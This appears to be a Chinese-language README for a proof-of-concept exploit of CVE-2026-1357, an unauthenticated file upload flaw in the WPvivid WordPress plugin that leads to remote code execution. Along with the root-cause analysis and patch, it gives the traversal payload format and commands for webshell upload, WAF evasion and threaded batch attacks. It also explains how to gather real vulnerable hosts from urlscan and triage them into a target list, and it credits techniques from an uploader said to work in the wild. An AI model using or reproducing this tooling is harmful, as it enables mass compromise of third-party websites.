CVE-2026-1357(CVSS 9.8 严重,CWE-434)的 PoC:WordPress 的 WPvivid Backup & Migration 插件中存在未认证的任意文件上传漏洞,可导致远程代码执行。已在 0.9.124(变更集 3448386)中修复。由 Lucas Montes 通过 Wordfence 漏洞赏金计划报告。
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
本概念验证仅用于授权的安全研究、教育和防御性测试。
未认证的 send_to_site 处理器(includes/customclass/class-wpvivid-send-to-site.php)会解密攻击者提供的数据块,并将 的内容写入 —— 无需认证、无需 nonce,且对 没有路径清理。
$params['data']wp-content/wpvividbackups/<攻击者控制的名称>name预期的保护机制是 RSA:消息必须使用随机会话密钥加密,而该密钥本身又使用站点密钥进行 RSA 加密。缺陷出在 WPvivid_crypt::decrypt_message(includes/class-wpvivid-crypt.php)中:
$key = $rsa->decrypt($key); // 失败时返回 FALSE(密钥数据块无效)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE 被视为空字节密钥
return $rij->decrypt($data);
当提供的密钥数据块无法解密时(例如 openssl_private_decrypt() 失败),phpseclib 的 Crypt_RSA::decrypt() 会返回 false,而插件不会中止。随后 false 被传递给 Crypt_Rijndael::setKey(),其中 strlen(false) → 0 → 密钥被填充为 16 个空字节(AES-128,CBC 模式,空 IV)。因此,攻击者可以使用完全可预测的空密钥“加密”载荷 —— 无需知道真实的站点密钥。
载荷是 JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
name 未经清理即被拼接到路径中(str_replace('wpvivid','wpvivid_temp', $name) 仅重写“wpvivid”子字符串),因此 ../../ 可逃逸出 wp-content/wpvividbackups/ 进入 webroot。当 file_size/md5 匹配时,临时文件会被重命名为攻击者选择的名称 → 公开可访问的 PHP → RCE。
修复方案(变更集 3448386)在 RSA 步骤失败时中止:
if ($key === false || empty($key)) {
return false;
}
目标:
wpvivid_api_token 选项必须存在且未过期 —— 当管理员在 WPvivid → 设置 → 自动迁移下点击生成时创建(在使用迁移功能的站点上很常见)攻击者:
script.py 完全独立:仅使用标准库,无本地导入,无外部文件。简单的位置参数 CLI:
# 单个目标
python script.py https://target.example.com
# 自定义命令
python script.py https://target.example.com --command "uname -a"
# 批量模式(每行一个 URL)-> success.txt / failed.txt
python script.py sites.txt --threads 10
# WAF 绕过:百分号编码的参数名/值或 multipart 请求体
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# 测试后自删除 webshell
python script.py https://target.example.com --cleanup
退出码:0 表示存在漏洞,1 表示其他情况。
../lab/ 包含一个 Docker 化的易受攻击目标(WordPress 6.8 + 来自 plugins/ 的 WPvivid 0.9.123 源码):
cd ../lab
docker compose up -d
# 在 http://localhost:8090/ 完成 WordPress 安装
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
已验证可用的来源(已在线测试,无需账户):
https://urlscan.io/search/#filename:wpvivid-backuprestore
约 74 个索引页面引用了该插件 slug;点击浏览并收集主机名。每个结果 URL 都以插件路径开头(/wp-content/plugins/wpvivid-backuprestore/),因此主机提取很容易。经测试无法产生目标的查询(有意排除):Google/Bing dork(inurl: 只返回插件自己的 wordpress.org 页面或机器人验证墙)、DuckDuckGo(相同)、Shodan http.html:(索引的是截断的 HTML,零命中)、Wayback CDX 通配符(为空)、PublicWWW(访客抓取被阻止)。
将收集到的主机输入 triage(内置于 script.py 中,作为 --triage),它会检查每个站点:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123(未认证的低噪声检查;HTML 中的 ?ver= 资源查询字符串作为后备)wpvivid_action=send_to_site&wpvivid_content=AAAA:
JSON 响应(The key is invalid.)= wpvivid_api_token 存在;
空响应 = 无令牌 / 插件未激活 / WAF 丢弃了探测只有 <= 0.9.123 且令牌有效的站点才会被写入 in-scope.txt,然后:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
技术移植自一个长期存活、在野外持续有效的 2025 年上传器(同一作者):
X-Requested-With: XMLHttpRequest、
Accept: application/json, */*;q=0.1、同源 Referer、浏览器 UAReferer--threads N),带短的单请求超时success.txt / failed.txt,仅将已验证的 shell 记录为成功(与原始版本的 success 文件类似)--encode / --multipart 用于请求形态规避../lab/waf/ 在易受攻击的 WordPress 前面添加了一个 owasp/modsecurity-crs:apache 反向代理(WAF 在 :8092,原始目标在 :8093)。实测行为:
| 步骤 | 通过 CRS 的结果 |
|---|---|
| 上传 POST(普通) | 通过 — AES 数据块 + AJAX 头不匹配任何 CRS 规则 |
上传 POST(--encode) | 通过 |
上传 POST(--multipart) | 通过 |
Shell GET ?<p>=id / hostname / ls | 通过,命令执行成功 |
Shell GET ?<p>=id; hostname; uname -a | 403 — CRS 932xxx 命令注入规则 |
| 普通 GET(PWN-OK 标记) | 通过 |
加密上传对 CRS 内容检查不可见(与 2025 年上传器看似白名单的 AJAX 具有相同的生存特性)。CRS 唯一暴露面是后续的命令 GET,因此该工具现在默认使用 --command id,并通过普通 GET 的 PWN-OK 标记确认 RCE,即使命令 GET 被 WAF 过滤(报告为 vulnerable 并附注说明)。对 wpvivid_action=send_to_site 进行特征签名的主机 WAF(例如 Wordfence 虚拟补丁)仍会在插件层面阻止上传本身 —— 任何请求形态技巧都无法绕过这些 WAF。